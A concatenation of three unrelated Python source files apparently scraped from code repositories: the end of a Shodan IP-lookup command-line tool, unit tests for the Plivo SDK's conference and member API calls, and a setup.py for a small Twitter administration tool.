click.echo(f" | Ports Opened: {ports} | Last Seen: {record['last_seen']}")
@shodan.command()
@click.option('--raw', '-r', is_flag=True)
@click.option('--all', '-a', is_flag=True)
@click.argument('query', metavar="query", nargs=1)
def search(query, raw, all):
"""
Get information for a specified IP address.
"""
url = '{0}{1}?key={2}'.format(SHODAN_HOST, query, shodan_apikey)
response = json_request._JSONRequest().get_json(url=url)
parse_json = shodan_parser._IPSearch(json_result=response, query=query)
parse_json.parse()
results = parse_json.vars
if raw:
click.echo(results)
else:
# Shared Variables
# Top-Level (TL) Variables
domains = ', '.join((str(x) for x in results['domains']))
hostnames = ', '.join((str(x) for x in results['hostnames']))
ports = ', '.join((str(x) for x in results['ports']))
protocols = ', '.join((str(x) for x in results['protocols']))
click.secho(f"---Shodan Results For {results['query']}---", fg="yellow")
click.echo(f"Data Last Updated: {response['last_update']}")
click.echo(f"ASN: {response['asn']}")
click.echo(f"ISP: {response['isp']}")
click.echo(f"Location: {results['location']}")
click.echo(f" Lat/Long: {results['coords']}")
click.echo(f"Domain(s): {domains}")
click.echo(f"Hostname(s): {hostnames}")
click.echo(f"Port(s): {ports}")
click.echo(f"Found Protocols: {protocols}")
for protocol in results['protocols']:
click.secho(f"--{protocol} Information--", fg="yellow")
for idx, entry in enumerate(results['data'][protocol]):
hostnames = ', '.join((str(x) for x in entry['hostnames']))
domains = ', '.join((str(x) for x in entry['domains']))
if idx > 0:
click.echo("--")
click.echo(f"IP: {entry['ip']}\nPort: {entry['port']}\nHostnames: {hostnames}\nDomains: {domains}") | 1.976563 | 2 |
tests/resources/test_conferences.py | vaibhav-plivo/plivo-python | 0 | 12789749 | <reponame>vaibhav-plivo/plivo-python<filename>tests/resources/test_conferences.py
# -*- coding: utf-8 -*-
from tests.decorators import with_response
from .. import PlivoResourceTestCase
conference_name = 'My Conf Room'
member_id = 'Test Member ID'
class ConferenceTest(PlivoResourceTestCase):
@with_response(200)
def test_get(self):
conference = self.client.conferences.get(conference_name)
self.assertResponseMatches(conference)
self.assertEqual(self.client.current_request.method, 'GET')
self.assertUrlEqual(
self.get_url('Conference', conference_name),
self.client.current_request.url)
self.assertEqual(conference.conference_name, conference_name)
@with_response(204)
def test_delete(self):
self.client.conferences.delete(conference_name)
self.assertEqual(self.client.current_request.method, 'DELETE')
self.assertUrlEqual(
self.get_url('Conference', conference_name),
self.client.current_request.url)
@with_response(204)
def test_delete_all(self):
self.client.conferences.delete_all()
self.assertEqual(self.client.current_request.method, 'DELETE')
self.assertUrlEqual(
self.get_url('Conference'), self.client.current_request.url)
@with_response(204, method_name='delete')
def test_hangup(self):
self.client.conferences.hangup(conference_name)
self.assertEqual(self.client.current_request.method, 'DELETE')
self.assertUrlEqual(
self.get_url('Conference', conference_name),
self.client.current_request.url)
@with_response(204, method_name='delete_all')
def test_hangup_all(self):
self.client.conferences.hangup_all()
self.assertEqual(self.client.current_request.method, 'DELETE')
self.assertUrlEqual(
self.get_url('Conference'), self.client.current_request.url)
@with_response(200)
def test_list(self):
self.client.conferences.list()
self.assertEqual(self.client.current_request.method, 'GET')
self.assertUrlEqual(
self.get_url('Conference'), self.client.current_request.url)
@with_response(202)
def test_record_create(self):
self.client.conferences.record(
conference_name=conference_name,
file_format='mp3',
transcription_url='http://example.transcription.url')
self.assertEqual(self.client.current_request.method, 'POST')
self.assertUrlEqual(
self.get_url('Conference', conference_name, 'Record'),
self.client.current_request.url)
@with_response(204)
def test_record_delete(self):
self.client.conferences.record_stop(conference_name=conference_name)
self.assertEqual(self.client.current_request.method, 'DELETE')
self.assertUrlEqual(
self.get_url('Conference', conference_name, 'Record'),
self.client.current_request.url)
class ConferenceMemberTest(PlivoResourceTestCase):
@with_response(202)
def test_deaf_create(self):
self.client.conferences.member_deaf(
conference_name=conference_name, member_id=member_id)
self.assertEqual(self.client.current_request.method, 'POST')
self.assertUrlEqual(
self.get_url('Conference', conference_name, 'Member', member_id,
'Deaf'), self.client.current_request.url)
@with_response(202)
def test_speak_create(self):
self.client.conferences.member_speak(
conference_name=conference_name,
member_id=member_id,
text='Hello World!')
self.assertEqual(self.client.current_request.method, 'POST')
self.assertUrlEqual(
self.get_url('Conference', conference_name, 'Member', member_id,
'Speak'), self.client.current_request.url)
@with_response(202)
def test_play_create(self):
self.client.conferences.member_play(
conference_name=conference_name,
member_id=member_id,
url='http://url.to.sound')
self.assertEqual(self.client.current_request.method, 'POST')
self.assertUrlEqual(
self.get_url('Conference', conference_name, 'Member', member_id,
'Play'), self.client.current_request.url)
@with_response(202)
def test_mute_create(self):
self.client.conferences.member_mute(
conference_name=conference_name, member_id=member_id)
self.assertEqual(self.client.current_request.method, 'POST')
self.assertUrlEqual(
self.get_url('Conference', conference_name, 'Member', member_id,
'Mute'), self.client.current_request.url)
@with_response(204)
def test_mute_delete(self):
self.client.conferences.member_mute_stop(
conference_name=conference_name, member_id=member_id)
self.assertEqual(self.client.current_request.method, 'DELETE')
self.assertUrlEqual(
self.get_url('Conference', conference_name, 'Member', member_id,
'Mute'), self.client.current_request.url)
@with_response(204)
def test_deaf_delete(self):
self.client.conferences.member_deaf_stop(
conference_name=conference_name, member_id=member_id)
self.assertEqual(self.client.current_request.method, 'DELETE')
self.assertUrlEqual(
self.get_url('Conference', conference_name, 'Member', member_id,
'Deaf'), self.client.current_request.url)
@with_response(204)
def test_speak_delete(self):
self.client.conferences.member_speak_stop(
conference_name=conference_name, member_id=member_id)
self.assertEqual(self.client.current_request.method, 'DELETE')
self.assertUrlEqual(
self.get_url('Conference', conference_name, 'Member', member_id,
'Speak'), self.client.current_request.url)
@with_response(204)
def test_play_delete(self):
self.client.conferences.member_play_stop(
conference_name=conference_name, member_id=member_id)
self.assertEqual(self.client.current_request.method, 'DELETE')
self.assertUrlEqual(
self.get_url('Conference', conference_name, 'Member', member_id,
'Play'), self.client.current_request.url)
@with_response(202)
def test_kick_create(self):
self.client.conferences.member_kick(
conference_name=conference_name, member_id=member_id)
self.assertEqual(self.client.current_request.method, 'POST')
self.assertUrlEqual(
self.get_url('Conference', conference_name, 'Member', member_id,
'Kick'), self.client.current_request.url)
@with_response(204)
def test_delete(self):
self.client.conferences.member_hangup(
conference_name=conference_name, member_id=member_id)
self.assertEqual(self.client.current_request.method, 'DELETE')
self.assertUrlEqual(
self.get_url('Conference', conference_name, 'Member', member_id),
self.client.current_request.url)
| 2.390625 | 2 |
setup.py | jntme/twjnt | 0 | 12789750 | from distutils.core import setup
setup(
name='twjnt',
version='0.0.1',
packages=[''],
url='',
license='MIT',
author='jntme',
author_email='<EMAIL>',
description='A simple tool that offers some features to administrate your twitter account.'
)
| 1.125 | 1 |
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